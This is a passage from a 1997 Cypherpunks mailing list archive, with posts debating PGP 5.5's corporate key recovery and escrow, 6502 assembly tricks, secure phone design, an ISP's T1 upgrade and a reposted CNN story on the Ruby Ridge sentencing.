many large corporations for enterprise managment in other countries besides
Canada or the US and they regularly use our Courier product to distribute
data across national borders (not to mention some pretty big ponds).

> The sorts who inhabit the nightmares of tech-support
> people are going to take at least one more turn of the wheel of Maya to get
> it.

There are at least 10-12 people at Tivoli tech-support who 'have got it'.

> I think a lot of people here think that blade guards on crypto in any form
> is stark moral evil.

If those blade guards keep me from getting a close shave then they shouldn't
be there.

> I believe that the central thesis of crypto-freedom is that it doesn't
> matter if a document is on paper or in a text file; it doesn't matter if a
> conversation is on the phone or in a restaurant. The medium doesn't matter.
> My papers and effects have the same protection on a disk as on paper itself.

Exactly, it's the message that is protected NOT the media.

> The last thing that really, really bugs me is the hostility that's directed
> towards PGP Inc. because now we're an Inc.

Congratulations and best wishes on your future.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 11 Oct 1997 12:16:07 +0800
To: Jon Callas <cypherpunks@cyberpass.net
Subject: Re: Attitude and Assumptions
In-Reply-To: <3.0.3.32.19971010180024.00ad8ce0@mail.pgp.com>
Message-ID: <v03102807b064a7e7f087@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

A thoughtful essay by Jon Callas on the trials and tribulations of being a
crypto start-up company.

Before I get into commenting on parts of Jon's message, let me first make
some very general points.

First, I don't think PGP, Inc. is being picked on. It announced a new
product this month, one with obvious implications and resonances for and
with the whole key recovery/key escrow/GAK debate.

Second, for us not to pick it apart would be "out of character"
(considering past critical remarks directed toward Netscape (ask the
Weinstein brothers), toward Microsoft (ask the MS employees who mostly post
from non-MS accounts), toward Cybercash, toward First Virtual, toward
RSADSI, and on and on. (And the Cypherpunks list was not even in the lead
in picking on PGP for Business, as the comments by Bruce Schneier, Simson
Garfinkel, etc. show.)

Third, several of us have reititerated the basic point that *of course* an
employer or corporation owner has every right to insist that his employees
use a particular product, submit to searches of their breifcases, have
their phone calls monitored, wear funny costumes, and so on. Only a couple
of people have even hinted that the issue is some kind of "workers rights"
thing.

Fourth, though employers may wish to insist on this kind of message
recovery, there are obvious dangers. Not the least of which is that the
voluntary aspects may cease to be voluntary (in terms of the government
mandating archival of all corporation messages, analogous to requirements
for audit trails, OSHA compliance, receipts, cash register records, etc.).

Fifth, it thus behooves us to think about these issues. That there will be
issues to consider, and public debate, is shown by the comments here and
the comments from Schneier, Garfinkel, etc. And even Phil Zimmermann, when
discussing a very similar product from ViaCrypt, basically said
(paraphrasing from memory): "Call it what you like, but it violates the
spirit of PGP, so don't call it PGP." Amen to that.

(Personally, I'll be real disappointed if Chairman Phil sends us a
Zimmermann Telegram (TM) telling us that the ViaCrypt and PGP products are
actually not all alike. "Pay no attention to the man behind the curtain.")

Sixth, besides all of these issues, there are interesting questions about
whether this form of "encrypting to a corporate key" is very useful or
addresses the right problem. (I happen to believe that the "what if Joe is
hit by a truck?" issue is better solved with other tools, and the "what if
Joe is sending corporate secrets outside the company?" issue is not at all
addresses with PGP for Business (as Joe will either stego encrypt, or, even
better, will just carry out gigabytes in a CD or DAT and use a non-company
account).

Anyway, I guess I don't need to comment paragraph by paragraph on Jon's
points. I'm happy that he's commenting here on the list.

- --Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBND78j1K3AvrfAt9qEQL4pgCfQqH86oZ8phNCo45ZNFRj2AX8ogYAoLjG
0d/WpUBVhv4NXPsfo/dbsa59
=88Cn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Sat, 11 Oct 1997 12:29:14 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: 6502 ML programming
In-Reply-To: <199710090439.XAA16340@einstein.ssz.com>
Message-ID: <3.0.3.32.19971010211816.02fa1704@popd.netcruiser>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713739.multipart/signed"

--Boundary..3985.1071713739.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

At 11:39 PM 10/8/97 -0500, Jim Choate wrote:
>Forwarded message:
>
>> Date: Wed, 8 Oct 1997 23:10:26 -0400
>> From: ghio@temp0132.myriad.ml.org (Matthew Ghio)
>> Subject: Re: [LONG, off-topic]] Interactive Programming
>
>> Reminds me of a time, years ago, where I was trying to modify a program
>> written in 6502 assembler.
>
>> Consider the following line of C code:
>> 
>>   result = function(x,y,z);
>> 
>> One could write this in 6502 assembler as:
>> 
>>   JSR function
>>   DATA x
>>   DATA y
>>   DATA z
>>   STA result
>> 
>> where x,y,z,result are pointers to storage locations.
>
>There in no 'DATA' construct in 6502 assembly.
>
>This is some sort of macro that either the assembler or programmer
>defined. All official Rockwell/Commodore [1] 6502 assembly mnemonics are
>three letter. There are NO official macro's from MOS Technologies under
>either Rockwell or Commodore other than the ORG. ORG simply defined the
>starting address for the target code.

I concur.

>The most efficient way to store data in 6502 is to put it in the first 256
>bytes of ram, then it could be called in no more than 2 clock cycles. Also,
>in 6502 good programmers use the branch instructions (BCC, BCS, BEO, BMI,
>BNE, BPL, BVC, BVS) because the JSR required three bytes versus 2 bytes for
>a Bxx. The only constraint was that the branch target must reside in the same
>256 byte page as the branch itself. The biggest boo-boo committed here was
not
>realizing that branch offsets that took you across the upper page boundary
>would leave you at the lower page boundary plus some remaining offset.

This is not quite correct.  I can't seem to find my Commodore 128
Programmer's Reference Guide, (of all the things I lost going to the PC, I
miss my PRG the most.  It contains complete BASIC & assembler language
reference guides, lists EVERY memory address used by the OS and what it
does, register-level programming info on every chip, and even schematics
for my 128!  Unfortunately, nobody seems to publish such a book for PC's,
but I digress.)  The branching instructions used 1 byte for the in
struction, followed by 1 data byte which was a signed integer.  This
allowed one to branch up to 127 bytes ahead, or 128 bytes back from the
current instruction address register value.  The coolest thing about this
was that if you were able write your code to branch and not JMP or JSR,
your code could be located anywhere in memory and it would work perfectly,
which was very useful when writing interrupt wedges that were supposed to
work on the C-64 and the C-128, or that could be loaded in various places
in memory.

>Idealy a jump table was created that had the various target addresses for
your
>routines. Then a Bxx followed by a indirect mode JMP (NOT a JSR). If that
table
>was in the first 256 bytes it was possible to save a whole clock cycle AND a
>byte in the process. At 64k and 1Mhz clock these sorts of short-cuts were
>significant.

This is where self-modifying code came in handy.  During initialization, a
self-mod routine would increment the addresses in the jump table so they
pointed to the proper addresses of the respective routines.

>Because of the architecture of the 6502 the 0 page of RAM was a very busy
>place indeed because any operation there automaticaly saved a byte and a
>clock cycle.

If I remember correctly, there were all of 5 or 10 bytes available for
"user programs", depending on which OS functions you were willing to break.

My first computer was a Commodore VIC-20. 5 points and Geek of the Week to
the first email correctly specifying the "Basic Bytes Free" on a vanilla
VIC-20.

Real Programmers don't use symbolic addresses.


Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

Get your assault crypto before they ban it!

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Non-US PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

--Boundary..3985.1071713739.multipart/signed
Content-Type: application/octet-stream; name="pgp00005.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00005.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogUEdQIGZv
ciBQZXJzb25hbCBQcml2YWN5IDUuMApNZXNzYWdlSUQ6IC9mZzM4QTJ4eDVw
SkVYM1dsM2dpRHhBNDdkZ3JTR1F4CgppUUEvQXdVQk5ENy9Ic0pGMGtYcXB3
M01FUUlMd2dDZ3VDeGx6M3VOcnFGRVpxc2R2Mms3ZmtNUGlDd0FvTitRCkFX
bTdDd1FIWi8zalpnd3Z0dHRyQmdGSQo9TU9KaQotLS0tLUVORCBQR1AgU0lH
TkFUVVJFLS0tLS0K
--Boundary..3985.1071713739.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 10:38:41 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: SSZ & T1 upgrade
Message-ID: <199710110218.VAA24375@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Just a quick note to update you on the status of the T1 upgrade. It's going
to take us a few weeks longer to get resources in place than we expected but
there is some good news.

It turns out that SWBT can provide us a 2-year contract on a full T1 for
<$1500 setup and $350 a month. If we go for 5 years there is no install fee
and the fee is $250 a month. We are currently discussing various issues with
our current customers, examining our personal finances, and our market share
potential in our area for which contract to go for. I currently have a
2-year contract on the present equipment location. The potential for
purchasing the property will also be discussed. We can purchase a T1/T3
Linux compliant card that will mimic a NIC for less than $700. So, it looks
like we can do a complete upgrade to a T1 for less than $3k.

Provided we don't get in some sort of grid lock we hope to have something
setup and going within the next few weeks.

It is my personal desire to have something in place and fully functioning no
later than Thanksgiving. But then again, I would have already signed the
contract in order to get it going by Halloween. Alas, I am not the last word
anymore - the down side to business partners.

Even if both my current business partners decide they want out I can say
that I will have resources in place by Christmas to have us to a T1. So,
irrespective of what is decided the T1 will happen.

We will be keeping the ISDN as a backup and transient dial-in for users.

If you have any questions please direct them to 'consulting@ssz.com'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 05:38:44 +0800
To: tcmay@got.net
Subject: message recovery is a red herring: pgp5.5 is for snooping (Re: CAK as a really bad form of corporate networking)
In-Reply-To: <v03102802b0641232c44b@[207.167.93.63]>
Message-ID: <199710102020.VAA05198@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> I've been scratching my head, trying to figure out what the market
> for PGP's new recovery program is for. After all, if employees have
> local disks and these disks are on a company network or backup plan,
> then the corporation has access to the plaintext of memos, reports,
> and plaintext sent and received e-mail. (The purpose of Alice
> encrypting to Bob being _in-transit_ security, and nothing more.)
>
> It seems to me that the CAK (Corporate Access to Keys) approach
> being talked about, where Alice encrypts to Bob and _also_ encrypts
> to Eve, is a poor solution to the "archiving" problem.

I'm finding this whole thing is surrounded by euphemisms, and
newspeak.  For example PGP's Jon Callas claiming that the main
motivation for the system is to ensure availability of messages.  As
you point out this is bunk.

This leaves as the only excuse for pgp5.5's existance corporate
snooping of sent and received emails.  PGP Inc is encouraging little
brother and doing it in a way that provides tools for big brother, and
is thereby paving the way for mandatory GAK.

(Also Jon's flimsly claim that it isn't a "key escrow" system, I
consider mere word play, whatever PGP Inc cares to call it, it's
clearly a CAK system).

> As Adam Back and others have noted, if Alice stores her Eudora or
> whatever e-mail files on her systems, presumably in plaintext (as
> the purpose of encrypting with Bob is for _in-transit_ security, not
> storage security), then the corporation can insist that she make her
> plaintext files archivable on the company's backup system.

Perhaps my arguments of how you can build encrypted corporate snooping
email archive systems without being GAK friendly are too complex.
Just storing the data in the clear is easier to understand, and is
probably what most corporates are doing anyway.  I don't think most
corporates are using storage encryption widely internal to their
networks, and rely on a decent firewall, or an air gap.

The obvious objection to the argument that you store your email
folders in the clear, as I'm sure one of our anonymous PGP employees
will point out again, is that:

	What if the email is archived encrypted in the eudora folder,
	or the netscape, or other MUA folder.  The corporate snoop
	won't be able to read it without the employees co-operation.

A similar objection applies to IMAP mailboxes, (IMAP being a POP3 like
thing, but with the added functionality that the mailbox archive is
kept on the server).


If you're using PGP mail client software too, it can archive it in
plain text, or encrypted with a corporate escrowed storage key as I
was describing.  Mostly mega-important email is going to be copies of
stuff on disk anyway, as Tim points out.

(Also I'd like to ask those who use other email clients than I how encrypted
email is treated: with emacs mailcrypt, I have the option of archiving the
decrypted email, or keeping the encrypted mail as is in the archive, so that
you have to go back and decrypt it again to read old encrypted emails.  How
does the eudora plug in work?  How does pgp5.0 work, and how does netscape
with pgp plug in work.)


To me a corporate snooping policy is not a good thing to encourage.
I wonder if PGP Inc claim that corporate snooping is demanded by the
industry.

Another way to implement corporate message snooping is for the company
to retain copies of users private decryption keys.  (Plus to have the
second crypto recipient on sent mail of the company snoop, but strip
it off before it goes outside the LAN in the SMTP policy enforcer.)
Still that's more GAKware, as if you remove the policy enforcer it's
useful for GAKkers also.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 10:43:15 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710110302.WAA24679@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
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               FORMER FBI OFFICIAL SENTENCED IN RUBY RIDGE PROBE
                                       
     October 10, 1997
     Web posted at: 3:07 p.m. EDT (1907 GMT) Kahoe
     
     WASHINGTON (CNN) -- A former FBI official was sentenced Friday to 18
     months in prison and fined $4,000 after pleading guilty to the
     destruction of a report criticizing the FBI's role in the deadly
     1992 shootout at Ruby Ridge, Idaho.
     
     E. Michael Kahoe, a former head of the FBI's violent crime and major
     offenders section, told the court he was sorry for his actions.
     
     "I must live every day with the realism of what I've done," he said
     tearfully. "I will always be known as the agent who plead guilty to
     obstruction of justice in the Ruby Ridge case."
     
     Kahoe was sentenced by Judge Ricardo Urbina, who could have given
     him two years. The judge also ordered him placed on probation for
     two years after his release from federal prison.
     
     Kahoe's lawyers said his 26 years of unblemished law enforcement
     experience should be taken into account. Federal prosecutors urged
     the maximum sentence.
     
     In 1992, the wife and son of white separatist Randy Weaver were
     killed during a standoff with the FBI. A deputy U.S. marshal was
     also killed in the siege.
     
     As head of the FBI's major crimes section, Kahoe was responsible for
     preparing a critique of the FBI's performance at Ruby Ridge. Federal
     prosecutors said he repeatedly refused to hand over documents and
     later destroyed the report, which they were able to recreate from
     computer files.
     
    
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  Related stories:
     * Both sides decry new Ruby Ridge charges - August 21, 1997
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     * FBI official charged with obstruction after concealing Ruby Ridge
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 05:37:54 +0800
To: cypherpunks@cyberpass.net
Subject: PGP CAKware & IETF controlled Open-PGP standard
Message-ID: <199710102108.WAA05223@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




One aspect of PGP's controversial CAK system in pgp5.5 that I have not
seen discussed is the standardisation aspects.

How does the introduction of corporate access to keys (CAK), and
government access to keys (GAK) features fit into the IETF framework?

Are PGP Inc's CAK features intended to be part of the now IETF
controlled Open-PGP standard?

What is the IETF's stance on politics having influence on security?

A weakly comparable example might be perhaps the IPSEC standardisation
process, and the effect of export regulations on key sizes.  Are IPSEC
key sizes allowed to be restricted in the standards so that IPSEC
products can be exportable?


Now some would argue, and with some justification, that emails sent
using company equipment are the property of that company.  However
there are other considerations also.  Expectation of privacy is one.
The negative aspects of a society in which most companies have become
little brother institutions, becoming small versions of what many of
us are fighting: mandatory government access to keys, big brother
wanting the ability to read all traffic.


I would be somewhat concerned if PGP Inc's recently announced the key
escrow functionality becomes part of the Open-PGP standard, because it
will set a bad precedent, and possibly force others who would
otherwise wish to implement to the open-PGP standard to also implement
features useful to secret service special interests in enforcing
mandatory domestic government access to keys, or implement only partly
compatible systems.

I need hardly comment that such an eventuality is not in the interests
of the internet community.


Specific questions relating to the standard are perhaps:

- Are the certificate flags informing the recipient that
  communications to a key is escrowed, and that email which is not
  encrypted to the escrow key will be bounced expected to be part of the
  Open PGP standard.

- Can a conforming application ignore the key escrow flags?

- Or must a conforming application display a suitable warning perhaps
  such as:

    WARNING: the person whose key you are using has the misfortune of
    being forced to use software supplied by a company which has sold
    out to key escrow, therefore you data may be read by others than
    your intended recipient.

  and perhaps a note tacked on to the email for the recipient to read:

    SAY NO TO KEY ESCROW.  Boycot little brother and big brother.
    Don't buy PGP Inc software.

  or must conforming applications be more polite.

Aside from the snide remarks about key escrow, I am concerned about
PGP's actions harming internet privacy, and helping indirectly the
introduction of mandatory key escrow which the US administration and
UK secret service and department of trade and industry are pushing.

A system which implements all the features necessary for mandatory key
escrow as a business solution may indirectly help the mandatory key
escrow proponents.  Plausible events which might happen in such an
event might be:

- companies encouraged to use (or penalised for not using) open-PGP
  corporate escrow compatible systems

- service providers also encouraged to use such systems

- companies legally required to use such systems, and hand copies of
  corporate master keys to government (corporate escrow then becomes
  government escrow for business communications)

- ISPs and individuals legally required to use such systems, and hand
  copies of corporate master keys to government (full blown mandatory
  key escrow)

I am concerned about the possibility that the IETF might be steered by
PGP Inc into putting features into the Open-PGP standard which are not
in the interests of the internet community.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 11 Oct 1997 10:50:39 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: cypherpunks-e list problem - blank subject lines
Message-ID: <199710110308.WAA24826@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

The remailer software used for the cypherpunks-j and cypherpunks-e mailing
lists does not accept empty subject: lines.

Until they can arrange a work-around it would behoove authors to be shure to
include something in the subject: line of the header.

FYI.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 05:43:28 +0800
To: tcmay@got.net
Subject: Re: anonymous poster quality up
In-Reply-To: <v03102800b062aae55588@[207.167.93.63]>
Message-ID: <199710102120.WAA05251@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> Thanks for the sort-of compliment, but I haven't been using
> anonymous remailers much at all the last couple of years.

My reason for commenting was that you recently commented that you
planned to experiment with Nyms soon, but wouldn't be announcing when.

> Someone wrote to me saying he suspected I was "Monty Cantsin." Nope.

I must admit that I also had noticed a small similarity in vocabulary
used by Cantsin, certain phrases, etc -- perhaps he's trying to
simulate your writing style, or perhaps he just naturally has similar
writing characteristics.  I'll take you word on it, anyway.

Not that it matters really -- a good point in an argument is still a
good point where ever it comes from.  I'm finding that the
non-persistent anonymous user(s) are having meaningful discourse on
pgp CAKware (I like to think of them as anonymous PGP employees -- and
I hope they're finding my comments useful -- of course it is mere
speculation or wishful thinking on my part that they are anything to
do with PGP Inc -- they could be anyone).

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 11 Oct 1997 07:40:56 +0800
To: eb@comsec.com
Subject: Re: secure phone on a PCI card? (Re: authentication suggestion for secure phone) computationally infeasible jobs for MITMs)
In-Reply-To: <199710102057.NAA02969@comsec.com>
Message-ID: <199710102210.XAA05811@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Eric Blossom <eb@comsec.com> writes:
> > If it cost a lot extra, that could be a problem, yes.  I am unclear on
> > how much extra this would cost.  Apart from an EEPROM, it's a protocol
> > and software update right?
> 
> The units currently have 2K bytes of EEPROM and 256K bytes of FLASH.
> [...]  There's plenty of room for long term storage of a reasonable
> set of public keys.  Private or symmetric keys present a problem,
> since then you've got a long term secret to store somewhere.

What's the difference betwen storing public keys and private keys?
Are you concerned that someone will tamper with the unit and replace
the keys.  (Borrow the phone while you're out, reset the EEPROM, and
make a series of calls to put in MITM keys.)  Could be dangerous.
You could use a pin, but then you need an input device.

However, you could also argue that if someone can borrow your phone
for a while they can give it free "upgrade", and replace the RNG, or
whatever anyway, so it doesn't make any difference?  I don't think it
does.

I kind of liked the persistency authentication idea as a candidate for
your remote upgrade.  You could do it with symmetric keys or with
asymmetric keys.  It's just a trade off which depends on how many keys
you're allowing.  If space is short, you could do something more
clever, say:

- Exchange (and store in a table) a symmetric key with each new phone
- Lookup keys by phone number (or unit serial number if you don't have ANI)
- Authenticate using nonce and stored key.

Overhead: 16 bytes per phone

Allow say 50 callers = 800 bytes.  Perhaps you want a button to push
(hold go secure down for over 5 seconds, say) to store a caller in
this table.  (Prevents attacker flushing your table by making a load
of dud calls).  Or perhaps just wrap around and discard least used
numbers/serial numbers.

> > [phone on PCI/PCMCIA card]
> 
> I can pretty much be done all in software on a laptop.  
> 
> The primary thing you lose is the simple integration with the
> telephone.  A small (cheap) hardware hack can work around this.  Yes,
> I know you'd prefer not to have any non-standard hardware, but on the
> other hand, if the system is a pain in the ass to use, nobody is going
> to use it.

Fancy organising this cheap hardware hack?  I reckon you'd get a few
buyers.  I'll pledge to buy 3 at a reasonable price.  

Do you have the software for PCs/MACs?  Would this cheap hardware hack
work with PGPfone as is?  (PGP Inc don't seem to be doing much work on
PGPfone right now).

btw the hardware hack I presume is impedance matching to allow phone
to plug into 3.5mm jack audio and mic socket?  Any hardware people
care to give soldering instructions?

> > I think Eric's phone uses a 14.4k modem chip (or lower?) so it's not
> > the bit rate as such, but more the lack of higher quality audio
> > compression codecs which are possible in hardware.  (Right?)  
> 
> The unit currently runs at 14.4k.  A 4800 b/s fallback mode is
> currently under development.

GSM laptop secure phone, here we come :-)

> > Also the fact that with PGPfone you're using PC speakers, and room
> > microphone probably makes it seem worse than it could be.
> 
> Fixable with software and MIPS (you've got those).  Take a look at
> those nice USR and Polycom full duplex speaker phones.  There's
> nothing magic in them.  Notice the neat little song they play when you
> power them up.  It's a training tone used to compute the impulse
> response of the room.

I'm not sure what PGPfone's problem is, but when I tried it, it
sounded like an off tune radio station, but worse.  Even turning off
encryption entirely (to preserve the precious cycles for the audio
codec) didn't help much.

Perhaps I should retry it now with 166Mhz K5 pentium in place of
120Mhz AMD 486 at the time.

> > [integrating with GSM phone]
> 
> Pretty much everything you need is already there.  It's a question of
> integration.

It's a damn, damn, shame that no-one is doing this.

We couldn't bribe you to do it next could we?

I was kind of figuring that eventually we'll get there with a bit of
software because cellular phones and laptops functionality will merge,
and the bandwidth and processing power will be there.  Still a laptop
with your hardware hack, would be ok for now.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 11 Oct 1997 12:36:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Why Adam Back keeps politicizing technical issues (Re: Why Jon Callas keeps picking nits)
In-Reply-To: <199710110112.CAA06510@server.test.net>
Message-ID: <199710110431.AAA21720@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199710110112.CAA06510@server.test.net>, on 10/10/97 
   at 08, Adam Back <aba@dcs.ex.ac.uk> said:

Ok Adam here is a challenge for you:

- -- Explain why Corporations do not have the right to access *their*
documents in whatever form they may be in.

- -- Failing that explain how PGP 5.5 furthers the cause of GAK and PGP
2.6.x does not when I can get my network to do the same thing in a weekend
and a couple of scripts using PGP 2.6.x.

- -- Failing that explain why there were no great outcries that PGP 2.6.x is
GAKware???

Now if you agree that Corporations *do* have a right to access their
documents but you disagree with the technical aspects of how PGP 5.5
achieves this then drop the fearmongering and spell out how you think this
can be better achieved.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBND8CqI9Co1n+aLhhAQGoJwP+P5InFFnaH5svFrdnlREW08lOlYKrLjHH
95/X669e3RK+l9Oaj0svN8DxMV53GnRj+4spb8c7UpYLmUV0ZGvf+mORog6rwYaP
65Gl+wgNTdkJefENxAr6aofTU+zwYUgklUSPfl6+y5Hn8xlwftpuRxNjs4W2muGz
VR1RYTQKQIE=
=Z81q
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 11 Oct 1997 05:54:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: do NOT escrow communications keys (Re: What's really in PGP 5.5?)
Message-ID: <199710102136.XAA28507@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Adam Back wrote:
>About the only example of email in transit being considered storage
>was a USENET article years ago by someone who considered it a kewl
>hack that he had some games or something else which was in breach of
>policy in his account and rumor went around that the admin was having
>a purge.  He tarred, gzipped & uuencoded the lot and emailed it to
>himself down a _long_ ! fowarding path.  It came back to him around 3
>days later after the purge.  That's the kind of thing I mean when I
>say you don't consider email storage.

Sometimes you can use this trick to get around storage limitations at
your ISP.  Often mail in the spool file doesn't get added up for the
disk quota.  When you hit your limit, just e-mail yourself a bunch of
megabyte messages.  Sysadmins tend not to like this.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBND5t8JaWtjSmRH/5AQFf9wf/TQMiQH4wJXO3Xx/borwAobWIlKQCGmVQ
